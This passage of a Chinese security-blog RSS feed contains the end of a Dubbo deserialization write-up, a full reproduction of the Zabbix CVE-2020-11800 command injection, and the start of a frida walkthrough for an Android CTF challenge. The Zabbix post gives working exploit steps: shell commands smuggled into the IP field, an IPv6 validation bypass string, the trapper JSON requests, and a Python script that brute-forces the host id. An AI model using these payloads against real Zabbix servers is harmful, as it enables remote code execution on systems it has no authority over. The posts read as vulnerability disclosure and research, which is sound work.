src="https://wechat2rss.xlab.app/img-proxy/?k=f663d0f3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicGAuPv4LvWQiaFcEQ06GCcaG2V7uLoF1DiaHer5qzxrj1iaP9C5TsjajhCD11zhs4rlhrj4wxlveuNQ%2F640%3Fwx_fmt%3Dpng"/></p><p><em><br/></em></p><p><span style="font-family:宋体;">第一个分支搞定以后，我们再看一下这段代码：</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="389" data-backw="578" data-ratio="0.67265625" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=50316ac9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicGAuPv4LvWQiaFcEQ06GCcaFWgTDZibHtiaTs1TDLia2MdKk7zdJ2AUrgYcVpWfDwdEYhNWsZZb00pQA%2F640%3Fwx_fmt%3Dpng"/></p><p><em><br/></em></p><p><span style="font-size:16px;font-family:宋体;">还需要搞定一个分支，那就是</span><span style="font-size:16px;font-family:Cambria,serif;">hasMethod</span><span style="font-size:16px;font-family:宋体;">的值必须是</span><span style="font-size:16px;font-family:Cambria,serif;">false</span><span style="font-size:16px;font-family:宋体;">。</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="244" data-backw="578" data-ratio="0.421875" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=cb18e9b6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicGAuPv4LvWQiaFcEQ06GCca8wVicWt9KcIicQiaazUHnA2iaFWKMBkWyB8OVialfxGQibAJ2iaqOrTia64qYw%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="font-family:宋体;">但是这里</span>methodStr<span style="font-family:宋体;">和</span>inv.getMethodName()<span style="font-family:宋体;">都是</span>addListener<span style="font-family:宋体;">，这里的</span>methodStr<span style="font-family:宋体;">是</span>Provider<span style="font-family:宋体;">根据</span>Consumer<span style="font-family:宋体;">请求体中指定的接口名称来反射获取的，而</span>inv.getMethodName()<span style="font-family:宋体;">的值是用户可控的，这两部分如下：</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="83" data-backw="578" data-ratio="0.14296875" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=fa1bcd9a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicGAuPv4LvWQiaFcEQ06GCcarSDgrP2s83XGOILUn1FhybCKgzoOIhg2tcD8jN8J3uGbf17NXicjsibw%2F640%3Fwx_fmt%3Dpng"/></p><p><em><br/></em></p><p><span style="font-family:宋体;">尝试将第一个红框的方法名随意改一下，结果发现在请求体</span>decode<span style="font-family:宋体;">的时候就报方法不存在的异常，根本走不到构建</span>attachments<span style="font-family:宋体;">的流程。这时候只有一个方法，那就是第一个红框中的接口名和方法名同时修改成一个</span>classpath<span style="font-family:宋体;">中确实存在的值，并且这个方法还必须要接受一个</span>Object<span style="font-family:宋体;">类型的参数方便后续通过参数注入恶意对象，很自然想到我们可以用</span>Dubbo<span style="font-family:宋体;">自带的几个默认</span>Service<span style="font-family:宋体;">，比如</span>EchoService<span style="font-family:宋体;">，这个服务的</span>$echo<span style="font-family:宋体;">方法刚好接收一个</span>Object<span style="font-family:宋体;">类型参数：</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="433" data-backw="578" data-ratio="0.7493540051679587" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="774" src="https://wechat2rss.xlab.app/img-proxy/?k=9b0d8753&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicGAuPv4LvWQiaFcEQ06GCcaxOkUGvXNKfLZ54SzdrHsMdOp4r7fLryt0JGNWicvu9VXiaS1YycjgtnA%2F640%3Fwx_fmt%3Dpng"/></p><p><em><br/></em></p><p><span style="font-family:宋体;">这样最终</span>methodStr<span style="font-family:宋体;">和</span>inv.getMethodName()<span style="font-family:宋体;">就分别是</span>addListener<span style="font-family:宋体;">和</span>$echo<span style="font-family:宋体;">，</span>hasMethod<span style="font-family:宋体;">自然为</span>false<span style="font-family:宋体;">，成功进入我们想要的漏洞分支：</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="347" data-backw="578" data-ratio="0.60078125" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=fce4b5f3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicGAuPv4LvWQiaFcEQ06GCcab4ctmGEDUKsJEQibFqMe04SqTwA9brnVRSlK5rxbuWy0tP3N0Lyn3Yw%2F640%3Fwx_fmt%3Dpng"/></p><p><em><br/></em></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="272" data-backw="578" data-ratio="0.47109375" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=e9de9316&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicGAuPv4LvWQiaFcEQ06GCcauAwficKjmd6jRuoFSGRsDql60kzp5wcprhic2bB2o1T6F0zZqrdAoANw%2F640%3Fwx_fmt%3Dpng"/></p><p><em><br/></em></p><p><span style="font-family:宋体;">接下来就是构造inv对象了，参考CVE-2020-1948，这里我们也采用com.sun.rowset.JdbcRowSetImpl和ToStringBean来构造Gadgets，</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="384" data-backw="578" data-ratio="0.6640625" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=2a0e73ef&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicGAuPv4LvWQiaFcEQ06GCcaw8VgQkQwJJKXkHXf3ibDvyibH54udfyXGicdibQXiaCXFkxicw1XFrl8SQgg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-family:宋体;">最终成功执行</span>Payload<span style="font-family:宋体;">：</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="531" data-backw="578" data-ratio="0.91796875" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=afee8e9f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicGAuPv4LvWQiaFcEQ06GCcajJcntnq5NMX4uhib9zYGicRu18UhOnS4GibbdmGj8q22cH3h5s1j89Hlg%2F640%3Fwx_fmt%3Dpng"/></p><p><em><br/></em></p><p><em><br/></em></p><h3><span style="font-size: 18px;"><strong><span style="font-size: 18px;font-family: 宋体;">五、小结</span></strong></span></h3><p><span style="font-family:宋体;">这篇文章主要是给大家分享一下自己的挖洞思路，由于时间很仓促，上文中的一些理解可能存在错误，如有不当之处，希望各位斧正。</span></p><p> </p><h3><span style="font-size: 18px;"><strong><span style="font-size: 18px;font-family: 宋体;">六、参考链接</span></strong></span></h3><p>1.<a href="http://dubbo.apache.org/docs/v2.7/user/references/protocol/" target="_blank">http://dubbo.apache.org/docs/v2.7/user/references/protocol/</a></p><p>2.<a href="https://paper.seebug.org/1264/" target="_blank">https://paper.seebug.org/1264/</a></p><p>3.<a href="https://www.cnblogs.com/wh4am1/p/12307848.html" target="_blank">https://www.cnblogs.com/wh4am1/p/12307848.html</a></p><p><br/></p>



<p><a href="2247483983">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=28d92c68&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU1NzcxNjAyMQ%3D%3D%26mid%3D2247483983%26idx%3D1%26sn%3Da6e66f14121481e183f07f281e219de2%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 24 Dec 2020 17:17:00 +0800</pubDate>
    </item>
    <item>
      <title>【原创漏洞】CVE-2020-11800 Zabbix远程代码执行漏洞</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU1NzcxNjAyMQ==&amp;mid=2247483950&amp;idx=1&amp;sn=fb18e8ac1d4c26020fa626f6c4039b06</link>
      <description>Zabbix Server的trapper命令处理，存在命令注入漏洞，可导致远程代码执行。</description>
      <content:encoded><![CDATA[<p>
原创 <span>游望之</span> <span>2020-12-17 14:37</span> <span style="display: inline-block;"></span>
</p>

<p>Zabbix Server的trapper命令处理，存在命令注入漏洞，可导致远程代码执行。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=c9a46a09&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FpXIZNz7uPNichp4VuXMR2JMSMnZUmTOIXO5K4BDJIThnESz4zHHGYyraGByEzj8CdLWd1Nr594EAc1Axk1CpElQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="line-height:37px;"><strong><span style="font-size:28px;font-family:微软雅黑,sans-serif;">漏洞描述</span></strong></p><p style="line-height:25px;"> </p><p style="line-height: 21px;"><span style="font-family: 微软雅黑, sans-serif;">Zabbix Server的trapper命令处理，存在命令注入漏洞，可导致远程代码执行。</span></p><p style="line-height: 21px;"><span style="font-family: 微软雅黑, sans-serif;"> </span></p><p style="line-height: 21px;"><span style="font-family: 微软雅黑, sans-serif;"> </span></p><p style="line-height:37px;"><strong><span style="font-size:28px;font-family:微软雅黑,sans-serif;">漏洞影响</span></strong></p><p style="line-height:26px;"> </p><p style="line-height:21px;"><span style="font-family: 微软雅黑, sans-serif;">远程代码执行</span></p><p style="line-height:4px;"> </p><p><span style="font-family: Arial, sans-serif;">CVSSv3 Score</span></p><p style="line-height:7px;"> </p><p><span style="font-family: Arial, sans-serif;">9.0 -CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H</span></p><p style="line-height:6px;"> </p><p style="line-height:21px;"><span style="font-family: Arial, sans-serif;">AC: HIGH </span><span style="font-family: 微软雅黑, sans-serif;">需要服务端配置开启自动注册，或者</span><span style="font-family: Arial, sans-serif;">Zabbix Proxy</span><span style="font-family: 微软雅黑, sans-serif;">（会认证主机名）自动发现。</span></p><p style="line-height:21px;"><span style="font-family: 微软雅黑, sans-serif;"><br/></span></p><p style="line-height:13px;"><br/></p><p style="line-height:37px;"><strong><span style="font-size:28px;font-family:微软雅黑,sans-serif;">影响版本</span></strong></p><p style="line-height:25px;"> </p><p><span style="font-family: Arial, sans-serif;">Zabbix 3.0.x~3.0.30</span></p><p style="line-height:7px;"> </p><p style=""><span style="font-family: Arial, sans-serif;color: rgb(0, 136, 204);"><a href="https://www.zabbix.com/cn/download?zabbix=3.0" target="_blank">https://www.zabbix.com/cn/download?zabbix=3.0</a></span></p><p style="line-height:13px;"> </p><p style="line-height:16px;"> </p><p style="line-height:37px;"><strong><span style="font-size:28px;font-family:微软雅黑,sans-serif;">漏洞分析</span></strong></p><p style="line-height: 26px;"><span style="font-family: 微软雅黑, sans-serif;"> </span></p><section style="line-height: normal;"><span style="font-family: 微软雅黑, sans-serif;">该漏洞原理与CVE-2017-2824相同，参考：</span></section><section><span style="font-family: Arial, sans-serif;color: rgb(0, 136, 204);"><a href="https://talosintelligence.com/reports/TALOS-2017-0325" target="_blank">https://talosintelligence.com/reports/TALOS-2017-0325</a></span></section><section style="line-height: normal;"><span style="font-family: 微软雅黑, sans-serif;">active checks是自动注册的命令字，自动注册的本意是agent可主动将主机注册给server进行监控，在2.2.18版本中可以在IP中注入（参见上文的版本分析处，2.2.19版本才增加了ip校验）shell命令。CVE-2017-2824提到的漏洞在discoverydata命令字即自动发现功能中，由于没有校验IP，导致可在IP中写入shell命令，进而在执行scriptcmd时达到命令注入。比如在IP中写入内容</span></section><p style="line-height: 21px;"><span style="font-family: 微软雅黑, sans-serif;"> </span></p><p style="margin-left:11px;"><span style="font-family: Consolas;font-size: 15px;">;touch /tmp/zabbix_pwned</span></p><p style="line-height:13px;"> </p><p style="line-height:18px;"> </p><p style="line-height: 21px;"><span style="font-family:微软雅黑,sans-serif;color:#333333;">那么执行ping命令时就变为</span></p><p style="line-height:13px;"> </p><p style="line-height:19px;"> </p><p style="margin-left: 11px;"><span style="font-family: Consolas;font-size: 15px;">/bin/ping -c 3 ;touch /tmp/zabbix_pwned 2&gt;&amp;1</span></p><p><br/></p><p style="line-height:13px;"> </p><p style="line-height:18px;"> </p><p style="line-height: 21px;"><span style="font-family:微软雅黑,sans-serif;color:#333333;">CVE-2017-2824在3.0.x的修复办法是，对IP进行校验，代码如下：</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="230" data-backw="578" data-ratio="0.3984375" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=0527fd78&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNichp4VuXMR2JMSMnZUmTOIXGfhCXpCLtiau4x1oiaDnqETc2UstRwoKskQl9MEsmYufgicDHs0Zibppzw%2F640%3Fwx_fmt%3Dpng"/></p><p style="line-height: 21px;"><span style="font-family:微软雅黑,sans-serif;color:#333333;">但是校验IP的方法可以被绕过，Ipv4校验没问题，ipv6校验可绕过:</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="466" data-backw="578" data-ratio="0.8056224899598393" data-s="300,640" style="width: 100%;height: auto;" data-type="jpeg" data-w="1245" src="https://wechat2rss.xlab.app/img-proxy/?k=fae3fa19&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FpXIZNz7uPNichp4VuXMR2JMSMnZUmTOIXUkYyVMPyL8GoG5gq4DRZaAzbwE4aw5mdNOksx2j7ntDSqIYnW0tZ0A%2F640%3Fwx_fmt%3Djpeg"/></p><p style="line-height: 21px;"><span style="font-family:微软雅黑,sans-serif;color:#333333;">输入为ffff:::;touch/tmp/1234pwn即可绕过，进而实现命令注入。</span></p><p style="line-height: 21px;"><span style="font-family:微软雅黑,sans-serif;color:#333333;"><br/></span></p><p style="line-height:37px;"><strong><span style="font-size:28px;font-family:微软雅黑,sans-serif;">漏洞复现</span></strong></p><p style="line-height:32px;"><strong><span style="font-size:24px;font-family:微软雅黑,sans-serif;">添加自动注册规则</span></strong></p><p style="line-height:17px;"> </p><p style="line-height: 21px;"><span style="font-family:微软雅黑,sans-serif;color:#333333;">访问portal登录，依次点击菜单Configuration-&gt;Actions，将Event source调整为Autoregistration</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="54" data-backw="578" data-ratio="0.09375" data-s="300,640" style="width: 100%;height: auto;" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=83435427&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FpXIZNz7uPNichp4VuXMR2JMSMnZUmTOIXRb3z6ToxvfMd9HjGTxmibYzsebib6yBlrJicYLWO0OygQD8EpfTqZibB2w%2F640%3Fwx_fmt%3Djpeg"/></p><p style="line-height: 21px;"><span style="font-family:微软雅黑,sans-serif;color:#333333;">点击Create action后，第一个页签随便写一个名字</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="213" data-backw="578" data-ratio="0.36904761904761907" data-s="300,640" style="width: 100%;height: auto;" data-type="jpeg" data-w="1008" src="https://wechat2rss.xlab.app/img-proxy/?k=504a3a9f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FpXIZNz7uPNichp4VuXMR2JMSMnZUmTOIXD1ZOkbL0RYmbq1nw5rKIrkbXyZ1bAbicD97icT1C5Jaiavose8QbgSyhw%2F640%3Fwx_fmt%3Djpeg"/></p><p style="line-height:21px;"><span style="font-family:微软雅黑,sans-serif;color:#333333;">第二个页签设置条件</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="162" data-backw="578" data-ratio="0.27948003714020425" data-s="300,640" style="width: 100%;height: auto;" data-type="jpeg" data-w="1077" src="https://wechat2rss.xlab.app/img-proxy/?k=ceb3fb03&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FpXIZNz7uPNichp4VuXMR2JMSMnZUmTOIXX7NwniaZ90JYe3iaK6QIq25QIXmNwXJEp6kY20zxKlVGc5uTnEGPWI4Q%2F640%3Fwx_fmt%3Djpeg"/></p><p style="line-height:21px;"><br/></p><p style="line-height: 21px;"><span style="font-family:微软雅黑,sans-serif;color:#333333;">可配置host name、proxy和host metadata包含或不包含某个关键字，为了复现方便这里留空。</span></p><p style="line-height: 21px;"><span style="font-family:微软雅黑,sans-serif;color:#333333;"> </span></p><p style="line-height: 21px;"><span style="font-family:微软雅黑,sans-serif;color:#333333;">第三个页签，指定操作，可以为发送消息、添加主机等，这里要选择Addhost。</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="278" data-backw="578" data-ratio="0.481981981981982" data-s="300,640" style="width: 100%;height: auto;" data-type="jpeg" data-w="1110" src="https://wechat2rss.xlab.app/img-proxy/?k=c2e53a30&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FpXIZNz7uPNichp4VuXMR2JMSMnZUmTOIXSIW3vmJgdIlGLD65u1CnhQYGeQ9ichUkMRlbjcdFaohSrQ8YXdH0iaAQ%2F640%3Fwx_fmt%3Djpeg"/></p><p style="line-height: 21px;"><span style="font-family:微软雅黑,sans-serif;color:#333333;">以上规则的意思就是任意自动注册的host，没有任何拒绝规则，都会直接添加到server中。</span></p><p style="line-height:24px;"><span style="font-size:13px;"> </span></p><p style="line-height:32px;"><strong><span style="font-size:24px;font-family:微软雅黑,sans-serif;">注册</span></strong><strong><span style="font-size:24px;font-family:Arial,sans-serif;">host</span></strong></p><p style="line-height:13px;"><span style="font-size:13px;"> </span></p><p style="line-height:16px;"><span style="font-size:13px;"> </span></p><p style="margin-left:11px;"><span style="font-family: Consolas;font-size: 15px;">{&#34;request&#34;:&#34;activechecks&#34;,&#34;host&#34;:&#34;helloworld&#34;,&#34;ip&#34;:&#34;ffff:::;touch/tmp/1234pwn&#34;}</span></p><p style="line-height:13px;"><span style="font-size:13px;"> </span></p><p style="line-height:18px;"><span style="font-size:13px;"> </span></p><p style="line-height: 21px;"><span style="font-family:微软雅黑,sans-serif;color:#333333;">执行以上trapper命令，利用自动注册添加host</span></p><p style="line-height:23px;"><span style="font-size:13px;"> </span></p><p style="line-height:32px;"><strong><span style="font-size:24px;font-family:微软雅黑,sans-serif;">暴破</span></strong><strong><span style="font-size:24px;font-family:Arial,sans-serif;">hostid</span></strong></p><p style="line-height:17px;"><span style="font-size:13px;"> </span></p><p style="line-height: 21px;"><span style="font-family:微软雅黑,sans-serif;color:#333333;">利用command命令字，暴破得到上一步添加的host的id</span></p><p style="margin-left:11px;"><span style="font-family: Consolas;font-size: 16px;">def hostid_bruteforce():</span></p><p style="line-height:6px;"><span style="font-size: 16px;"> </span></p><p style="margin-left:36px;"><span style="font-family: Consolas;font-size: 16px;">for ip in ipList:</span></p><p style="line-height:6px;"><span style="font-size: 16px;"> </span></p><p style="margin-left:61px;"><span style="font-family: Consolas;font-size: 16px;">try:</span></p><p style="line-height:6px;"><span style="font-size: 16px;"> </span></p><p style="margin-left:87px;"><span style="font-family: Consolas;font-size: 16px;">for i in range(10000, 20000):</span></p><p style="line-height:6px;"><span style="font-size: 16px;"> </span></p><p style="margin-right:85px;margin-left:113px;margin-bottom:.1px;line-height:142%;"><span style="line-height: 142%;font-family: Consolas;font-size: 16px;">cmd_fmt =&#39;{&#34;request&#34;:&#34;command&#34;,&#34;scriptid&#34;:&#34;3&#34;,&#34;hostid&#34;:&#34;%d&#34;,&#34;nodeid&#34;:&#34;0&#34;}&#39;cmd = cmd_fmt%i</span></p><p style="line-height:.1px;"><span style="font-size: 16px;"> </span></p><p style="margin-left:113px;"><span style="font-family: Consolas;font-size: 16px;">rsp = doCmd(ip, cmd)</span></p><p style="line-height:6px;"><span style="font-size: 16px;"> </span></p><p style="margin-left:113px;"><span style="font-family: Consolas;font-size: 16px;">try:</span></p><p style="line-height:6px;"><span style="font-size: 16px;"> </span></p><p style="margin-left:139px;"><span style="font-family: Consolas;font-size: 16px;">r = json.loads(rsp)[&#39;response&#39;]</span></p><p style="line-height:6px;"><span style="font-size: 16px;"> </span></p><p style="margin-left:139px;"><span style="font-family: Consolas;font-size: 16px;">if r == &#39;success&#39;:</span></p><p style="line-height:6px;"><span style="font-size: 16px;"> </span></p><p style="margin-left:164px;"><span style="font-family: Consolas;font-size: 16px;">print &#39;hostid = %d&#39; % i</span></p><p style="line-height:6px;"><span style="font-size: 16px;"> </span></p><p style="margin-left:113px;"><span style="font-family: Consolas;font-size: 16px;">except Exception as e:</span></p><p style="line-height:6px;"><span style="font-size: 16px;"> </span></p><p style="margin-left:139px;"><span style="font-family: Consolas;font-size: 16px;">print e</span></p><p style="line-height:6px;"><span style="font-size: 16px;"> </span></p><p style="margin-left:61px;"><span style="font-family: Consolas;font-size: 16px;">except Exception as e:</span></p><p style="line-height:6px;"><span style="font-size: 16px;"> </span></p><p style="margin-left:87px;"><span style="font-family: Consolas;font-size: 16px;">print e</span></p><p style="margin-left:87px;"><span style="font-family: Consolas;font-size: 16px;"><br/></span></p><p style="line-height:32px;"><strong><span style="font-size:24px;font-family:微软雅黑,sans-serif;">触发命令注入</span></strong></p><p style="line-height:13px;"> </p><p style="line-height:16px;"> </p><p style="margin-left:11px;"><span style="font-family: Consolas;font-size: 15px;">{&#34;request&#34;:&#34;command&#34;,&#34;scriptid&#34;:&#34;1&#34;,&#34;hostid&#34;:&#34;10106&#34;,&#34;nodeid&#34;:&#34;0&#34;}</span></p><p style="line-height:13px;"> </p><p style="line-height:18px;"> </p><p style="line-height: 21px;"><span style="font-family:微软雅黑,sans-serif;color:#333333;">执行ping命令，在server主机生成/tmp/1234pwn文件，注入成功。</span></p><p style="line-height: 21px;"><span style="font-family:微软雅黑,sans-serif;color:#333333;"><br/></span></p><p style="line-height: 21px;"><span style="font-family:微软雅黑,sans-serif;color:#333333;"><br/></span></p><p style="line-height: 21px;"><strong><span style="font-size:24px;font-family:微软雅黑,sans-serif;">修复建议</span></strong><span style="font-family:微软雅黑,sans-serif;color:#333333;"> </span></p><p style="line-height: 21px;"><span style="font-family:微软雅黑,sans-serif;color:#333333;"><br/></span></p><p style="line-height: 21px;"><span style="font-family:微软雅黑,sans-serif;color:#333333;">正确限制IP </span></p><p style="line-height: 21px;"><br/></p><p style="line-height: 21px;"><strong><span style="font-size:24px;font-family:微软雅黑,sans-serif;">附录 </span></strong></p><p style="line-height: 21px;"><strong><span style="font-size:24px;font-family:微软雅黑,sans-serif;"><br/></span></strong></p><p><span style="font-family: Arial, sans-serif;color: rgb(0, 136, 204);"><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11800" target="_blank">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11800</a>
<a href="https://support.zabbix.com/browse/ZBX-17600" target="_blank">https://support.zabbix.com/browse/ZBX-17600</a>
<a href="https://support.zabbix.com/browse/ZBXSEC-30" target="_blank">https://support.zabbix.com/browse/ZBXSEC-30</a></span></p><p style="text-align: center;"><br/></p>



<p><a href="2247483950">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=1a3ef5ed&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU1NzcxNjAyMQ%3D%3D%26mid%3D2247483950%26idx%3D1%26sn%3Dfb18e8ac1d4c26020fa626f6c4039b06%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 17 Dec 2020 14:37:00 +0800</pubDate>
    </item>
    <item>
      <title>巧用frida快速破解Android类CTF题目</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU1NzcxNjAyMQ==&amp;mid=2247483940&amp;idx=1&amp;sn=31f5121753eb3784e1d9980fdd9d3919</link>
      <description>教你如何在CTF大赛中快速的解出安卓破解类题目</description>
      <content:encoded><![CDATA[<p>
原创 <span>St小龙</span> <span>2020-12-15 15:35</span> <span style="display: inline-block;"></span>
</p>

<p>教你如何在CTF大赛中快速的解出安卓破解类题目</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=121d32bd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FpXIZNz7uPN9qZYS8GU4UVXbC3NvrKUZ70g3K9zGUZn3ZFCiaL02OsO7XgEbibrkajGbfNI5ic5O4unAMyU2qUoCCw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span style="font-family:宋体;">在现在的</span>CTF<span style="font-family:宋体;">比赛赛制中，前三名解出题目的队伍都会有额外加分，如何快速的解出问题，对于参赛选手来说至关重要。因为往往就是一分之差，淘汰多支队伍。</span></p><p> </p><p><span style="font-family:宋体;">我们以最近一道</span>CTF <span style="font-family:宋体;">安卓题目为例，利用</span>frida<span style="font-family:宋体;">工具我们拿到了二血，今天我来分享一下，如何快速的</span>capture apk’s flag</p><p> </p><p><span style="font-family:宋体;">首先</span>jeb<span style="font-family:宋体;">来加载</span>hw02.apk<span style="font-family:宋体;">，</span>jeb<span style="font-family: 宋体;">工具</span><span style="font-family:宋体;">可自行下载</span></p><p> </p><p><span style="font-family:宋体;">这里可以根据</span>Manifest<span style="font-family:宋体;">来分析出</span>apk<span style="font-family:宋体;">的主入口</span>activity<span style="font-family:宋体;">，这里是</span>MainActivity</p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="304" data-backw="578" data-ratio="0.52734375" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=5dcd18e8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN9qZYS8GU4UVXbC3NvrKUZ7JPvIjMvoRRpjUibJjNrwSDOMOr0nRsGeYiaEjibZgM094qGTlCZd4PVTg%2F640%3Fwx_fmt%3Dpng"/></p><p>Input <span style="font-family:宋体;">变量为用户的输入，从上图代码所示，判断</span>input<span style="font-family:宋体;">输入的字符串格式</span> “flag{”<span style="font-family:宋体;">开头</span> <span style="font-family:宋体;">，</span> “}” <span style="font-family:宋体;">结尾。字符串长度不能低于</span>10<span style="font-family:宋体;">。否则会报错</span> tryagain~ <span style="font-family:宋体;">或者</span> flag format error ~</p><p> </p><p><span style="font-family:宋体;">重点逻辑在</span>  this.checkFlag <span style="font-family:宋体;">这个</span>native<span style="font-family:宋体;">函数，它的处理逻辑在</span>so<span style="font-family:宋体;">层，输入的参数就是</span> flag{xxx}<span style="font-family:宋体;">中间的那坨</span>xxx<span style="font-family:宋体;">。</span></p><p> </p><p> </p><p><span style="font-family:宋体;">将</span>apk<span style="font-family:宋体;">解压缩，发现有两个架构的</span>so<span style="font-family:宋体;">文件，我们的测试机是</span>64<span style="font-family:宋体;">位的，那就从</span>arm64-v8a<span style="font-family:宋体;">里获取</span>so<span style="font-family:宋体;">吧</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="68" data-backw="402" data-ratio="0.1691542288557214" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="402" src="https://wechat2rss.xlab.app/img-proxy/?k=403e8651&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN9qZYS8GU4UVXbC3NvrKUZ773yBeoCQd1o7e8uu3SNzV7G4RH4avuMFXhTtmTsKdt0oGsuiaHdsbOw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-family:宋体;">使用</span>ida<span style="font-family:宋体;">工具来分析</span>libcheckflag.so<span style="font-family:宋体;">文件</span></p><p><span style="font-family:宋体;">看到</span>init_array <span style="font-family:宋体;">有初始化的过程</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="183" data-backw="578" data-ratio="0.3171875" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=53a5b29c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN9qZYS8GU4UVXbC3NvrKUZ7DKpeQ5HlAUSd4sjVl7nLtj6kKgMqbWlxibvxC2OiaKpIcY7jh9UxmARQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="100" data-backw="578" data-ratio="0.1734375" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=5f95951d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN9qZYS8GU4UVXbC3NvrKUZ7v88lj9vzGTxeia1DxfrU9pwM9KAVH08ibUXU4ObsyuJT5zHqcFQGh3RA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-family:宋体;">这里会修改</span>.bss<span style="font-family:宋体;">段变量的值。暂时不管。</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="293" data-backw="578" data-ratio="0.50703125" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1280" 